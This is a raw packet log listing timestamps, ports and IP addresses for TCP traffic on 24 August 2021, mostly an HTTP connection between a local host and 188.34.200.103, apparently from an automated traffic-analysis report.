Aug 24, 2021 14:01:43.658196926 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658217907 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.658217907 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658236980 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658253908 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658282042 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658304930 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658353090 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658394098 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658411980 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658435106 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658451080 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.658457994 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658479929 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658492088 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.658504963 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658529043 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658550024 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658550978 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.658571005 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658592939 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658610106 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658612967 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.658633947 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658662081 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.658665895 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658689022 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658710003 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658720970 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.658731937 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658756971 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658757925 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.658782005 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658792973 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.658807039 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658828974 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658829927 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.658852100 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658853054 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.658873081 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658895969 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658902884 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.658924103 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658946037 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658950090 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.658967972 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.658974886 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.658991098 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659013987 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659022093 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.659039974 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659063101 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659068108 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.659085035 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659102917 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.659102917 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659132957 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.659148932 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659171104 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659176111 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.659197092 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659219027 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659224033 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.659240961 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.659240961 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659265041 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659286976 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659287930 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.659308910 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659308910 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.659331083 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659352064 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.659352064 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659375906 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659385920 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.659399986 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659421921 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659424067 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.659446955 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659470081 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659471989 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.659493923 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659501076 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.659517050 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659538031 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659554958 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659559965 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.659579039 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659601927 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659630060 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659652948 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659679890 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659703970 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659724951 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659748077 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659761906 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.659784079 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659791946 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.659809113 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659831047 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.659832954 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659854889 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659864902 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.659878969 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659899950 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.659903049 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659925938 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659946918 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659949064 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.659969091 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.659977913 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.659992933 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660013914 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.660015106 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660037994 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660039902 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.660060883 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660083055 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.660087109 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660109997 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.660111904 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660135031 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660145044 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.660159111 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660168886 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.660180092 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660198927 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660208941 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.660219908 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660242081 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660252094 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.660265923 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660290956 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.660291910 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660312891 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660314083 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.660336971 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660347939 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.660360098 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660382032 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660382986 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.660403013 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660427094 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660453081 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660465956 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.660476923 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660499096 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660511017 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.660522938 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660547018 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.660547018 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660571098 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660573959 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.660594940 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660614967 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.660615921 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660644054 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660653114 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.660669088 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660691023 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660716057 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660720110 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.660738945 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660761118 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660780907 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660789013 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.660800934 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660823107 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660823107 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.660845995 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660854101 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.660866976 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660888910 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660890102 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.660912037 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660933971 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660954952 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660974979 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.660979033 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.661005974 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.661009073 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.661034107 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.661036015 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.661056995 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.661077023 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.661079884 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.661098003 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.661098003 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.661119938 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.661147118 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.661163092 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.661252975 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.681334019 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.681380987 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.681400061 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.681421041 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.681451082 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.681471109 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.682373047 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682398081 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682416916 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682435989 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682437897 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.682450056 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682475090 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682476044 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.682492018 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682499886 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.682507038 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682526112 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682535887 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.682539940 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682552099 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682564020 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682575941 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682585955 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.682588100 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682604074 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682620049 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682635069 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682641983 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.682652950 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682670116 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682684898 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682723999 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682739019 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.682748079 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.682769060 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.682816982 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682833910 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682845116 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682857990 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682873011 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682879925 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.682884932 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682899952 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682913065 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682917118 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.682929039 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682940960 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682959080 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682970047 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.682974100 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.682991982 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683007002 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683021069 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683041096 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683049917 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683054924 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683058023 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683073997 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683093071 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683100939 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683104038 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683109999 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683145046 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683146954 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683162928 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683175087 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683177948 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683192968 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683208942 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683217049 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683224916 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683239937 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683259010 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683260918 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683275938 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683290958 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683294058 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683306932 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683321953 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683331013 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683336973 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683351994 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683366060 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683377981 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683384895 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683403015 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683406115 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683417082 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683432102 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683446884 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683456898 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683460951 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683473110 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683485031 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683500051 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683511019 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683517933 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683526993 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683537960 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683551073 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683556080 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683579922 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683587074 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683594942 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683614016 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683614969 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683628082 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683639050 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683650970 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683662891 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683680058 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683687925 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683691025 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683702946 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683718920 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683732986 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683744907 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683756113 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683760881 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683773041 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683793068 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683800936 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683809996 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683825016 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683826923 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683839083 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683854103 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683872938 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683875084 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683892965 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683907986 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683917046 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683923006 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683938026 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683950901 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683954000 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683969021 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.683976889 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.683984041 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.684001923 CEST	80	49728	188.34.200.103	192.168.2.3
